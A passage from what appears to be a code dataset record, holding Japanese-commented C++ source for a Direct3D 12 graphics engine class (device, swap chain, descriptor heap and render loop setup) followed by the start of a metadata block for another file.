(m_commandList) {\n\t\t\tm_commandList->Release();\n\t\t}\n\t\tif (m_pipelineState) {\n\t\t\tm_pipelineState->Release();\n\t\t}\n\t\tfor (auto& rt : m_renderTargets) {\n\t\t\tif (rt) {\n\t\t\t\trt->Release();\n\t\t\t}\n\t\t}\n\t\tif (m_depthStencilBuffer) {\n\t\t\tm_depthStencilBuffer->Release();\n\t\t}\n\t\tif (m_fence) {\n\t\t\tm_fence->Release();\n\t\t}\n\t\n\t\tif (m_d3dDevice) {\n\t\t\tm_d3dDevice->Release();\n\t\t}\n\t\n\t\tCloseHandle(m_fenceEvent);\n\t}\n\t\n\tbool GraphicsEngine::Init(HWND hwnd, UINT frameBufferWidth, UINT frameBufferHeight)\n\t{\n\t\tm_frameBufferWidth = frameBufferWidth;\n\t\tm_frameBufferHeight = frameBufferHeight;\n\t\n\t\t//デバイスにアクセスするためのインターフェースを作成。\n\t\tauto dxgiFactory = CreateDXGIFactory();\n\t\t//D3Dデバイスの作成。\n\t\tif (!CreateD3DDevice( dxgiFactory ) ) {\n\t\t\t//D3Dデバイスの作成に失敗した。\n\t\t\tMessageBox(hwnd, TEXT(\"D3Dデバイスの作成に失敗しました\"), TEXT(\"エラー\"), MB_OK);\n\t\t\treturn false;\n\t\t}\n\t\t//コマンドキューの作成。\n\t\tif (!CreateCommandQueue()) {\n\t\t\t//コマンドキューの作成に失敗した。\n\t\t\tMessageBox(hwnd, TEXT(\"コマンドキューの作成に失敗しました\"), TEXT(\"エラー\"), MB_OK);\n\t\t\treturn false;\n\t\t}\n\t\t//スワップチェインを作成。\n\t\tif (!CreateSwapChain(hwnd, frameBufferWidth, frameBufferHeight, dxgiFactory)) {\n\t\t\t//スワップチェインの作成に失敗。\n\t\t\tMessageBox(hwnd, TEXT(\"スワップチェインの作成に失敗しました\"), TEXT(\"エラー\"), MB_OK);\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t//フレームバッファ用のディスクリプタヒープを作成する。\n\t\tif (!CreateDescriptorHeapForFrameBuffer()) {\n\t\t\tMessageBox(hwnd, TEXT(\"フレームバッファ用のディスクリプタヒープの作成に失敗しました\"), TEXT(\"エラー\"), MB_OK);\n\t\t\treturn false;\n\t\t}\n\t\n\t\t//フレームバッファ用のRTVを作成する。\n\t\tif (!CreateRTVForFameBuffer()) {\n\t\t\tMessageBox(hwnd, TEXT(\"フレームバッファ用のRTVの作成に失敗しました\"), TEXT(\"エラー\"), MB_OK);\n\t\t\treturn false;\n\t\n\t\t}\n\t\n\t\t//フレームバッファ用のDSVを作成する。\n\t\tif (!CreateDSVForFrameBuffer(frameBufferWidth, frameBufferHeight)) {\n\t\t\tMessageBox(hwnd, TEXT(\"フレームバッファ用のDSVの作成に失敗しました\"), TEXT(\"エラー\"), MB_OK);\n\t\t\treturn false;\n\t\t}\n\t\n\t\t//コマンドアロケータの作成。\n\t\tm_d3dDevice->CreateCommandAllocator(\n\t\t\tD3D12_COMMAND_LIST_TYPE_DIRECT,\n\t\t\tIID_PPV_ARGS(&m_commandAllocator));\n\t\n\t\tif (!m_commandAllocator) {\n\t\t\tMessageBox(hwnd, TEXT(\"コマンドアロケータの作成に失敗しました\"), TEXT(\"エラー\"), MB_OK);\n\t\t\treturn false;\n\t\t}\n\t\n\t\t//コマンドリストの作成。\n\t\tif (!CreateCommandList()) {\n\t\t\tMessageBox(hwnd, TEXT(\"コマンドリストの作成に失敗しました\"), TEXT(\"エラー\"), MB_OK);\n\t\t\treturn false;\n\t\t}\n\t\n\t\t//GPUと同期をとるためのオブジェクトを作成する。\n\t\tif (!CreateSynchronizationWithGPUObject()) {\n\t\t\tMessageBox(hwnd, TEXT(\"GPUと同期をとるためのオブジェクトの作成に失敗しました\"), TEXT(\"エラー\"), MB_OK);\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t//レンダリングコンテキストの作成。\n\t\tm_renderContext.Init(m_commandList);\n\t\n\t\t//ビューポートを初期化。\n\t\tm_viewport.TopLeftX = 0;\n\t\tm_viewport.TopLeftY = 0;\n\t\tm_viewport.Width = static_cast<FLOAT>(frameBufferWidth);\n\t\tm_viewport.Height = static_cast<FLOAT>(frameBufferHeight);\n\t\tm_viewport.MinDepth = D3D12_MIN_DEPTH;\n\t\tm_viewport.MaxDepth = D3D12_MAX_DEPTH;\n\t\n\t\t//シザリング矩形を初期化。\n\t\tm_scissorRect.left = 0;\n\t\tm_scissorRect.top = 0;\n\t\tm_scissorRect.right = frameBufferWidth;\n\t\tm_scissorRect.bottom = frameBufferHeight;\n\t\n\t\t//CBR_SVRのディスクリプタのサイズを取得。\n\t\tm_cbrSrvDescriptorSize = m_d3dDevice->GetDescriptorHandleIncrementSize(D3D12_DESCRIPTOR_HEAP_TYPE_CBV_SRV_UAV);\n\t\n\t\t//Samplerのディスクリプタのサイズを取得。\n\t\tm_samplerDescriptorSize = m_d3dDevice->GetDescriptorHandleIncrementSize(D3D12_DESCRIPTOR_HEAP_TYPE_SAMPLER);\n\t\n\t\t//初期化が終わったのでDXGIを破棄。\n\t\tdxgiFactory->Release();\n\t\n\t\t//カメラを初期化する。\n\t\tm_camera2D.SetUpdateProjMatrixFunc(Camera::enUpdateProjMatrixFunc_Ortho);\n\t\tm_camera2D.SetWidth( static_cast<float>(m_frameBufferWidth) );\n\t\tm_camera2D.SetHeight( static_cast<float>(m_frameBufferHeight) );\n\t\tm_camera2D.SetPosition({0.0f, 0.0f, -1.0f});\n\t\tm_camera2D.SetTarget({ 0.0f, 0.0f, 0.0f });\n\t\n\t\tm_camera3D.SetPosition({0.0f, 50.0f, 200.0f} );\n\t\tm_camera3D.SetTarget({ 0.0f, 50.0f, 0.0f });\n\t\n\t\t\n\t\tg_camera2D = &m_camera2D;\n\t\tg_camera3D = &m_camera3D;\n\t\tg_lockCamera3D.Set(&m_camera3D);\n\n\t\t\n\n\n\t\t//レイトレ使える~?CHECK!!\n\t\tD3D12_FEATURE_DATA_D3D12_OPTIONS5 feature;\n\t\tm_d3dDevice->CheckFeatureSupport(D3D12_FEATURE_D3D12_OPTIONS5, &feature, sizeof(feature));\n\t\tm_isEnableRaytracing = feature.RaytracingTier == D3D12_RAYTRACING_TIER_1_0;\n\n\t\t//\n\t\tg_graphicsEngine = this;\n\t\tg_lockGraphicsEngine.Set(this);\n\n\t\tfloat ccolor[4] = { 0.5,0.5,0.5,1.f };\n\t\tm_mainRT.Create(\n\t\t\tFRAME_BUFFER_W, FRAME_BUFFER_H, 1, 1, DXGI_FORMAT_R32G32B32A32_FLOAT, DXGI_FORMAT_D32_FLOAT, ccolor);\n\t\tm_mainRT.SetName(L\"MainRT\");\n\n\t\tstruct SSimpleVertex {\n\t\t\tVector4 pos;\n\t\t\tVector2 tex;\n\t\t};\n\t\t//四角形プリミティブを初期化。\n\t\tSSimpleVertex vertices[] =\n\t\t{\n\t\t\t{\n\t\t\t\tVector4(-1.0f, -1.0f, 0.0f, 1.0f),\n\t\t\t\tVector2(0.0f, 1.0f),\n\t\t\t},\n\t\t\t{\n\t\t\t\tVector4(1.0f, -1.0f, 0.0f, 1.0f),\n\t\t\t\tVector2(1.0f, 1.0f),\n\t\t\t},\n\t\t\t{\n\t\t\t\tVector4(-1.0f, 1.0f, 0.0f, 1.0f),\n\t\t\t\tVector2(0.0f, 0.0f)\n\t\t\t},\n\t\t\t{\n\t\t\t\tVector4(1.0f, 1.0f, 0.0f, 1.0f),\n\t\t\t\tVector2(1.0f, 0.0f)\n\t\t\t}\n\n\t\t};\n\t\tshort indices[] = { 0,1,2,3 };\n\t\tm_primitive.Cteate(D3D_PRIMITIVE_TOPOLOGY_TRIANGLESTRIP, 4, sizeof(SSimpleVertex), vertices, 4, Primitive::it_2byte, indices);\n\n\t\tm_copyVS.LoadVS(L\"Assets/shader/Copy.fx\", \"VSMain\");\n\t\tm_copyPS.LoadPS(L\"Assets/shader/Copy.fx\", \"PSMain\");\n\t\tm_copyShader.LoadCS(L\"Assets/shader/Copy.fx\", \"CSMain_thd4x4x1\");\n\t\tm_copyRootSign.Init(\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP);\n\t\tm_copyDescHeap.RegistShaderResource(0, m_mainRT.GetRenderTargetTexture());\n\t\tm_copyDescHeap.Commit();\n\t\tD3D12_COMPUTE_PIPELINE_STATE_DESC pipedesc = {};\n\t\tpipedesc.CS = CD3DX12_SHADER_BYTECODE(m_copyShader.GetCompiledBlob());\n\t\tpipedesc.Flags = D3D12_PIPELINE_STATE_FLAG_NONE;\n\t\tpipedesc.NodeMask = 1;\n\t\tpipedesc.pRootSignature = m_copyRootSign.Get();\n\n\t\tD3D12_INPUT_ELEMENT_DESC inputElementDescs[] =\n\t\t{\n\t\t\t{ \"POSITION\", 0, DXGI_FORMAT_R32G32B32A32_FLOAT, 0, 0, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t{ \"TEXCOORD\", 0, DXGI_FORMAT_R32G32_FLOAT, 0, 16, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t};\n\t\tD3D12_GRAPHICS_PIPELINE_STATE_DESC psoDesc = {};\n\t\tpsoDesc.InputLayout = { inputElementDescs, _countof(inputElementDescs) };\n\t\tpsoDesc.pRootSignature = m_copyRootSign.Get();\n\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_copyVS.GetCompiledBlob());\n\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_copyPS.GetCompiledBlob());\n\t\tpsoDesc.RasterizerState = CD3DX12_RASTERIZER_DESC(D3D12_DEFAULT);\n\t\tpsoDesc.RasterizerState.CullMode = D3D12_CULL_MODE_NONE;\n\t\tpsoDesc.BlendState = CD3DX12_BLEND_DESC(D3D12_DEFAULT);\n\t\tpsoDesc.DepthStencilState.DepthEnable = FALSE;\n\t\tpsoDesc.DepthStencilState.DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ZERO;\n\t\tpsoDesc.DepthStencilState.DepthFunc = D3D12_COMPARISON_FUNC_LESS_EQUAL;\n\t\tpsoDesc.DepthStencilState.StencilEnable = FALSE;\n\t\tpsoDesc.SampleMask = UINT_MAX;\n\t\tpsoDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;\n\t\tpsoDesc.NumRenderTargets = 1;\n\t\tpsoDesc.RTVFormats[0] = DXGI_FORMAT_R8G8B8A8_UNORM;\t\t//アルベドカラー出力用。\n\t\tpsoDesc.DSVFormat = DXGI_FORMAT_D16_UNORM;\n\t\tpsoDesc.SampleDesc.Count = 1;\n\t\tm_copyPipeState.Init(psoDesc);\n\n\t\tm_shadowMap.Init(1024, 1024);\n\n\t\tm_lightManager.Init();\n\t\tm_postEffect.Init();\n\t\tm_preRender.Init();\n\n\t\tg_camera3D->Init();\n\n\n\t\tm_graphicsMemory = std::make_unique<DirectX::GraphicsMemory>(m_d3dDevice);\n\n\t\tDirectX::RenderTargetState rtstate(DXGI_FORMAT_R32G32B32A32_FLOAT, DXGI_FORMAT_D16_UNORM);\n\t\tauto blendState = CD3DX12_BLEND_DESC(D3D12_DEFAULT);\n\t\tblendState.RenderTarget[0].BlendEnable = TRUE;\n\t\tblendState.RenderTarget[0].SrcBlend = D3D12_BLEND_SRC_ALPHA;\n\t\tblendState.RenderTarget[0].DestBlend = D3D12_BLEND_INV_SRC_ALPHA;\n\t\tblendState.RenderTarget[0].SrcBlendAlpha = D3D12_BLEND_SRC_ALPHA;\n\t\tblendState.RenderTarget[0].DestBlendAlpha = D3D12_BLEND_INV_SRC_ALPHA;\n\t\tDirectX::SpriteBatchPipelineStateDescription pd(rtstate,&blendState);\n\t\tD3D12_DESCRIPTOR_HEAP_DESC ddesc = {};\n\t\tddesc.Flags = D3D12_DESCRIPTOR_HEAP_FLAG_SHADER_VISIBLE;\n\t\tddesc.Type = D3D12_DESCRIPTOR_HEAP_TYPE_CBV_SRV_UAV;\n\t\tddesc.NumDescriptors = 1;\n\n\t\tm_d3dDevice->CreateDescriptorHeap(&ddesc, IID_PPV_ARGS(&m_fontHeep));\n\t\t{\n\t\t\tDirectX::ResourceUploadBatch re(m_d3dDevice);\n\t\t\tre.Begin();\n\t\t\tm_spriteBatch = new DirectX::SpriteBatch(m_d3dDevice, re, pd);\n\t\t\tauto uploadResourcesFinished = re.End(m_commandQueue);\n\n\t\t\tuploadResourcesFinished.wait();\n\t\t}\n\t\t{\n\t\t\tDirectX::ResourceUploadBatch re(m_d3dDevice);\n\t\t\tre.Begin();\n\t\t\tm_spriteFont = new DirectX::SpriteFont(m_d3dDevice, re, L\"Assets/font/gennokakuH.spritefont\", m_fontHeep->GetCPUDescriptorHandleForHeapStart(), m_fontHeep->GetGPUDescriptorHandleForHeapStart());\n\t\t\t\n\t\t\tauto uploadResourcesFinished = re.End(m_commandQueue);\n\n\t\t\tuploadResourcesFinished.wait();\n\t\t}\n\n\t\t\n\t\treturn true;\n\t}\n\tIDXGIFactory4* GraphicsEngine::CreateDXGIFactory()\n\t{\n\t\tUINT dxgiFactoryFlags = 0;\n\t#ifdef _DEBUG\n\t\t//デバッグコントローラーがあれば、デバッグレイヤーがあるDXGIを作成する。\n\t\tID3D12Debug* debugController;\n\t\tif (SUCCEEDED(D3D12GetDebugInterface(IID_PPV_ARGS(&debugController))))\n\t\t{\n\t\t\tdebugController->EnableDebugLayer();\n\t\n\t\t\t// Enable additional debug layers.\n\t\t\tdxgiFactoryFlags |= DXGI_CREATE_FACTORY_DEBUG;\n\t\t\tdebugController->Release();\n\t\t}\n\t#endif\n\t\tIDXGIFactory4* factory;\n\t\tCreateDXGIFactory2(dxgiFactoryFlags, IID_PPV_ARGS(&factory));\n\t\treturn factory;\n\t}\n\t\n\tbool GraphicsEngine::CreateD3DDevice( IDXGIFactory4* dxgiFactory )\n\t{\n\t\tD3D_FEATURE_LEVEL featureLevels[] = {\n\t\t\tD3D_FEATURE_LEVEL_12_1,\t//Direct3D 12.1の機能を使う。\n\t\t\tD3D_FEATURE_LEVEL_12_0\t//Direct3D 12.0の機能を使う。\n\t\t};\n\t\n\t\tIDXGIAdapter* adapterTmp = nullptr;\n\t\tIDXGIAdapter* adapterVender[Num_GPUVender] = { nullptr };\t//各ベンダーのアダプター。\n\t\tIDXGIAdapter* adapterMaxVideoMemory = nullptr;\t\t\t\t//最大ビデオメモリのアダプタ。\n\t\tIDXGIAdapter* useAdapter = nullptr;\t\t\t\t\t\t\t//最終的に使用するアダプタ。\n\t\tSIZE_T videoMemorySize = 0;\n\t\tfor (int i = 0; dxgiFactory->EnumAdapters(i, &adapterTmp) != DXGI_ERROR_NOT_FOUND; i++) {\n\t\t\tDXGI_ADAPTER_DESC desc;\n\t\t\tadapterTmp->GetDesc(&desc);\n\t\t\t\n\t\t\tif (desc.DedicatedVideoMemory > videoMemorySize) {\n\t\t\t\t//こちらのビデオメモリの方が多いので、こちらを使う。\n\t\t\t\tadapterMaxVideoMemory = adapterTmp;\n\t\t\t\tvideoMemorySize = desc.DedicatedVideoMemory;\n\t\t\t}\n\t\t\tif (wcsstr(desc.Description, L\"NVIDIA\") != nullptr) {\n\t\t\t\t//NVIDIA製\n\t\t\t\tadapterVender[GPU_VenderNvidia] = adapterTmp;\n\t\t\t}\n\t\t\telse if (wcsstr(desc.Description, L\"AMD\") != nullptr) {\n\t\t\t\t//AMD製\n\t\t\t\tadapterVender[GPU_VenderAMD] = adapterTmp;\n\t\t\t}\n\t\t\telse if (wcsstr(desc.Description, L\"Intel\") != nullptr) {\n\t\t\t\t//Intel製\n\t\t\t\tadapterVender[GPU_VenderIntel] = adapterTmp;\n\t\t\t}\n\t\t}\n\t\t//使用するアダプターを決める。\n\t\tif (adapterVender[GPU_VenderNvidia] != nullptr) {\n\t\t\t//NVIDIA製が最優先\n\t\t\tuseAdapter = adapterVender[GPU_VenderNvidia];\n\t\t}\n\t\telse if (adapterVender[GPU_VenderAMD] != nullptr) {\n\t\t\t//次はAMDが優先。\n\t\t\tuseAdapter = adapterVender[GPU_VenderAMD];\n\t\t}\n\t\telse{\n\t\t\t//NVIDIAとAMDのGPUがなければビデオメモリが一番多いやつを使う。\n\t\t\tuseAdapter = adapterMaxVideoMemory;\n\t\t}\n\t\tfor (auto featureLevel : featureLevels) {\n\t\n\t\t\tauto hr = D3D12CreateDevice(\n\t\t\t\tuseAdapter,\n\t\t\t\tfeatureLevel,\n\t\t\t\tIID_PPV_ARGS(&m_d3dDevice)\n\t\t\t);\n\t\t\tif (SUCCEEDED(hr)) {\n\t\t\t\t//D3Dデバイスの作成に成功した。\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\treturn m_d3dDevice != nullptr;\n\t}\n\tbool GraphicsEngine::CreateCommandQueue()\n\t{\n\t\tD3D12_COMMAND_QUEUE_DESC queueDesc = {};\n\t\tqueueDesc.Flags = D3D12_COMMAND_QUEUE_FLAG_NONE;\n\t\tqueueDesc.Type = D3D12_COMMAND_LIST_TYPE_DIRECT;\n\t\n\t\tauto hr = m_d3dDevice->CreateCommandQueue(&queueDesc, IID_PPV_ARGS(&m_commandQueue));\n\t\tif (FAILED(hr)) {\n\t\t\t//コマンドキューの作成に失敗した。\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\tbool GraphicsEngine::CreateSwapChain(\n\t\tHWND hwnd,\n\t\tUINT frameBufferWidth,\n\t\tUINT frameBufferHeight,\n\t\tIDXGIFactory4* dxgiFactory\n\t)\n\t{\n\t\tDXGI_SWAP_CHAIN_DESC1 swapChainDesc = {};\n\t\tswapChainDesc.BufferCount = FRAME_BUFFER_COUNT;\n\t\tswapChainDesc.Width = frameBufferWidth;\n\t\tswapChainDesc.Height = frameBufferHeight;\n\t\tswapChainDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;\n\t\tswapChainDesc.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;\n\t\tswapChainDesc.SwapEffect = DXGI_SWAP_EFFECT_FLIP_DISCARD;\n\t\tswapChainDesc.SampleDesc.Count = 1;\n\t\n\t\tIDXGISwapChain1* swapChain;\n\t\tdxgiFactory->CreateSwapChainForHwnd(\n\t\t\tm_commandQueue,\n\t\t\thwnd,\n\t\t\t&swapChainDesc,\n\t\t\tnullptr,\n\t\t\tnullptr,\n\t\t\t&swapChain\n\t\t);\n\t\t//IDXGISwapChain3のインターフェースを取得。\n\t\tswapChain->QueryInterface(IID_PPV_ARGS(&m_swapChain));\n\t\tswapChain->Release();\n\t\t//IDXGISwapChain3のインターフェースを取得。\n\t\tm_currentBackBufferIndex = m_swapChain->GetCurrentBackBufferIndex();\n\t\treturn true;\n\t}\n\tbool GraphicsEngine::CreateDescriptorHeapForFrameBuffer()\n\t{\n\t\t//RTV用のディスクリプタヒープを作成する。\n\t\tD3D12_DESCRIPTOR_HEAP_DESC desc = {};\n\t\tdesc.NumDescriptors = FRAME_BUFFER_COUNT;\n\t\tdesc.Type = D3D12_DESCRIPTOR_HEAP_TYPE_RTV;\n\t\tdesc.Flags = D3D12_DESCRIPTOR_HEAP_FLAG_NONE;\n\t\tauto hr = m_d3dDevice->CreateDescriptorHeap(&desc, IID_PPV_ARGS(&m_rtvHeap));\n\t\tif (FAILED(hr)) {\n\t\t\t//RTV用のディスクリプタヒープの作成に失敗した。\n\t\t\treturn false;\n\t\t}\n\t\t//ディスクリプタのサイズを取得。\n\t\tm_rtvDescriptorSize = m_d3dDevice->GetDescriptorHandleIncrementSize(D3D12_DESCRIPTOR_HEAP_TYPE_RTV);\n\t\n\t\t//DSV用のディスクリプタヒープを作成する。\n\t\tdesc.NumDescriptors = 1;\n\t\tdesc.Type = D3D12_DESCRIPTOR_HEAP_TYPE_DSV;\n\t\thr = m_d3dDevice->CreateDescriptorHeap(&desc, IID_PPV_ARGS(&m_dsvHeap));\n\t\tif (FAILED(hr)) {\n\t\t\t//DSV用のディスクリプタヒープの作成に失敗した。\n\t\t\treturn false;\n\t\t}\n\t\t//ディスクリプタのサイズを取得。\n\t\tm_dsvDescriptorSize = m_d3dDevice->GetDescriptorHandleIncrementSize(D3D12_DESCRIPTOR_HEAP_TYPE_DSV);\n\t\treturn true;\n\t}\n\tbool GraphicsEngine::CreateRTVForFameBuffer()\n\t{\n\t\tD3D12_CPU_DESCRIPTOR_HANDLE rtvHandle = m_rtvHeap->GetCPUDescriptorHandleForHeapStart();\n\t\n\t\t//フロントバッファをバックバッファ用のRTVを作成。\n\t\tfor (UINT n = 0; n < FRAME_BUFFER_COUNT; n++) {\n\t\t\tm_swapChain->GetBuffer(n, IID_PPV_ARGS(&m_renderTargets[n]));\n\t\t\tm_d3dDevice->CreateRenderTargetView(\n\t\t\t\tm_renderTargets[n], nullptr, rtvHandle\n\t\t\t);\n\t\t\trtvHandle.ptr += m_rtvDescriptorSize;\n\t\t\tif(n==0)\n\t\t\t\tm_renderTargets[n]->SetName(L\"FrameBuffer_0\");\n\t\t\telse\n\t\t\t\tm_renderTargets[n]->SetName(L\"FrameBuffer_1\");\n\t\t}\n\t\treturn true;\n\t}\n\tbool GraphicsEngine::CreateDSVForFrameBuffer( UINT frameBufferWidth, UINT frameBufferHeight )\n\t{\n\t\tD3D12_CLEAR_VALUE dsvClearValue;\n\t\tdsvClearValue.Format = DXGI_FORMAT_D32_FLOAT;\n\t\tdsvClearValue.DepthStencil.Depth = 1.0f;\n\t\tdsvClearValue.DepthStencil.Stencil = 0;\n\t\n\t\tCD3DX12_RESOURCE_DESC desc(\n\t\t\tD3D12_RESOURCE_DIMENSION_TEXTURE2D,\n\t\t\t0,\n\t\t\tframeBufferWidth,\n\t\t\tframeBufferHeight,\n\t\t\t1,\n\t\t\t1,\n\t\t\tDXGI_FORMAT_D32_FLOAT,\n\t\t\t1,\n\t\t\t0,\n\t\t\tD3D12_TEXTURE_LAYOUT_UNKNOWN,\n\t\t\tD3D12_RESOURCE_FLAG_ALLOW_DEPTH_STENCIL | D3D12_RESOURCE_FLAG_DENY_SHADER_RESOURCE);\n\t\n\t\tauto h = CD3DX12_HEAP_PROPERTIES(D3D12_HEAP_TYPE_DEFAULT);\n\t\tauto hr = m_d3dDevice->CreateCommittedResource(\n\t\t\t&h,\n\t\t\tD3D12_HEAP_FLAG_NONE,\n\t\t\t&desc,\n\t\t\tD3D12_RESOURCE_STATE_DEPTH_WRITE,\n\t\t\t&dsvClearValue,\n\t\t\tIID_PPV_ARGS(&m_depthStencilBuffer)\n\t\t);\n\t\tif (FAILED(hr)) {\n\t\t\t//深度ステンシルバッファの作成に失敗。\n\t\t\treturn false;\n\t\t}\n\t\t//ディスクリプタを作成\n\t\tD3D12_CPU_DESCRIPTOR_HANDLE dsvHandle = m_dsvHeap->GetCPUDescriptorHandleForHeapStart();\n\t\n\t\tm_d3dDevice->CreateDepthStencilView(\n\t\t\tm_depthStencilBuffer, nullptr, dsvHandle\n\t\t);\n\t\n\t\treturn true;\n\t}\n\tbool GraphicsEngine::CreateCommandList()\n\t{\n\t\t//コマンドリストの作成。\n\t\tm_d3dDevice->CreateCommandList(\n\t\t\t0, D3D12_COMMAND_LIST_TYPE_DIRECT, m_commandAllocator, nullptr, IID_PPV_ARGS(&m_commandList)\n\t\t);\n\t\tif (!m_commandList) {\n\t\t\treturn false;\n\t\t}\n\t\t//コマンドリストは開かれている状態で作成されるので、いったん閉じる。\n\t\tm_commandList->Close();\n\t\n\t\treturn true;\n\t}\n\tbool GraphicsEngine::CreateSynchronizationWithGPUObject()\n\t{\n\t\tm_d3dDevice->CreateFence(0, D3D12_FENCE_FLAG_NONE, IID_PPV_ARGS(&m_fence));\n\t\tif (!m_fence) {\n\t\t\t//フェンスの作成に失敗した。\n\t\t\treturn false;\n\t\t}\n\t\tm_fenceValue = 1;\n\t\t//同期を行うときのイベントハンドラを作成する。\n\t\tm_fenceEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);\n\t\tif (m_fenceEvent == nullptr) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\tvoid GraphicsEngine::BeginRender()\n\t{\n\t\tRenderingSituation::Set(ERenderSituation::GBuffer);\n\n\t\tm_frameIndex = m_swapChain->GetCurrentBackBufferIndex();\n\t\n\t\t//カメラを更新する。\n\t\tm_camera2D.Update();\n\t\tm_camera3D.Update();\n\t\n\t\t//コマンドアロケータををリセット。\n\t\tm_commandAllocator->Reset();\n\t\t//レンダリングコンテキストもリセット。\n\t\tm_renderContext.Reset(m_commandAllocator, m_pipelineState);\n\t\t//ビューポートを設定。\n\t\t//ビューポートを設定。\n\t\tm_renderContext.SetViewport(m_viewport);\n\t\t//シザリング矩形を設定。\n\t\tm_renderContext.SetScissorRect(m_scissorRect);\n\t\n\t\tm_currentFrameBufferRTVHandle = m_rtvHeap->GetCPUDescriptorHandleForHeapStart();\n\t\tm_currentFrameBufferRTVHandle.ptr += m_frameIndex * m_rtvDescriptorSize;\n\t\t//深度ステンシルバッファのディスクリプタヒープの開始アドレスを取得。\n\t\tm_currentFrameBufferDSVHandle = m_dsvHeap->GetCPUDescriptorHandleForHeapStart();\n\n\t\t//バックバッファがレンダリングターゲットとして設定可能になるまで待つ。\n\t\t//m_renderContext.WaitUntilToPossibleSetRenderTarget(m_renderTargets[m_frameIndex]);\n\t\tm_renderContext.WaitUntilToPossibleSetRenderTarget(m_mainRT.GetRenderTargetTexture().Get());\n\n\t\t//レンダリングターゲットを設定。\n\t\t//m_renderContext.SetRenderTarget(m_currentFrameBufferRTVHandle, m_currentFrameBufferDSVHandle);\n\t\tm_renderContext.SetRenderTarget(m_mainRT.GetRTVCpuDescriptorHandle(), m_mainRT.GetDSVCpuDescriptorHandle());\n\n\t\tm_mainRT.Clear(m_renderContext);\n\t\t\n\t\n\t\tconst float clearColor[] = { 0.5f, 0.5f, 0.5f, 1.0f };\n\t\t//m_renderContext.ClearRenderTargetView(m_currentFrameBufferRTVHandle, clearColor);\n\t\t//m_renderContext.ClearDepthStencilView(m_currentFrameBufferDSVHandle, 1.0f);\n\t\n\t}\n\tvoid GraphicsEngine::ChangeRenderTargetToFrameBuffer(RenderContext& rc)\n\t{\n\t\trc.SetRenderTarget(m_currentFrameBufferRTVHandle, m_currentFrameBufferDSVHandle);\n\t}\n\tvoid GraphicsEngine::EndRender()\n\t{\n\t\t// レンダリングターゲットへの描き込み完了待ち\n\t\tm_renderContext.WaitUntilFinishDrawingToRenderTarget(m_mainRT);\n\n\t\t\n\t\tm_renderContext.WaitUntilToPossibleSetRenderTarget(m_renderTargets[m_frameIndex]);\n\t\t\n\t\tm_renderContext.SetRenderTarget(m_currentFrameBufferRTVHandle, m_currentFrameBufferDSVHandle);\n\n\t\tm_renderContext.SetRootSignature(m_copyRootSign);\n\t\tm_renderContext.SetDescriptorHeap(m_copyDescHeap);\n\t\tm_renderContext.SetPipelineState(m_copyPipeState);\n\t\t//m_renderContext.Dispatch(320, 180, 1);\n\t\tm_primitive.Draw(m_renderContext);\n\n\t\tm_renderContext.WaitUntilFinishDrawingToRenderTarget(m_renderTargets[m_frameIndex]);\n\n\t\t/*m_renderContext.WaitUntilToPossibleSetRenderTarget(m_mainRT);\n\t\tm_renderContext.CopyResource(m_renderTargets[m_frameIndex], m_mainRT.GetRenderTargetTexture().Get());\n\t\tm_renderContext.WaitUntilFinishDrawingToRenderTarget(m_renderTargets[m_frameIndex]);*/\n\n\t\t//レンダリングコンテキストを閉じる。\n\t\tm_renderContext.Close();\n\n\t\t//コマンドを実行。\n\t\tID3D12CommandList* ppCommandLists[] = { m_commandList };\n\t\tm_commandQueue->ExecuteCommandLists(_countof(ppCommandLists), ppCommandLists);\n\t#ifdef SAMPE_16_04\n\t\t// Present the frame.\n\t\tm_swapChain->Present(0, 0);\n\t#else\n\t\t// Present the frame.\n\t\tm_swapChain->Present(1, 0);\n\t#endif\n\t\t//描画完了待ち。\n\t\tWaitDraw();\n\n\t\tm_graphicsMemory->RetirePendingPages();\n\t\t\n\t}\n\n\tvoid GraphicsEngine::ResetRender()\n\t{\n\t\t//コマンドアロケータををリセット。\n\t\tm_commandAllocator->Reset();\n\t\t//レンダリングコンテキストもリセット。\n\t\tm_renderContext.Reset(m_commandAllocator, m_pipelineState);\n\t}\n\n\tvoid GraphicsEngine::WaitDraw()\n\t{\n\t\t//描画終了待ち\n\t\t// Signal and increment the fence value.\n\t\tconst UINT64 fence = m_fenceValue;\n\t\tm_commandQueue->Signal(m_fence, fence);\n\t\tm_fenceValue++;\n\n\t\t// Wait until the previous frame is finished.\n\t\tif (m_fence->GetCompletedValue() < fence)\n\t\t{\n\t\t\tm_fence->SetEventOnCompletion(fence, m_fenceEvent);\n\t\t\tWaitForSingleObject(m_fenceEvent, INFINITE);\n\t\t}\n\t}\n\n\tvoid GraphicsEngine::ExecuteCommandList()\n\t{\n\t\tm_renderContext.Close();\n\t\t//コマンドを実行。\n\t\tID3D12CommandList* ppCommandLists[] = { m_commandList };\n\t\tm_commandQueue->ExecuteCommandLists(_countof(ppCommandLists), ppCommandLists);\n\n\t\tWaitDraw();\n\t}\n\n}\n"
},
{
"alpha_fraction": 0.7410147786140442,
"alphanum_fraction": 0.7521141767501831,
"avg_line_length": 22.370370864868164,
"blob_id": "ac48bdfbc395d48d96abf0880f74a606b9cf440a",
"content_id": "56117fd2dadaac551cc40d53b5e93a9f648c836b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2074,
"license_type": "no_license",
"max_line_length": 91,
"num_lines": 81,
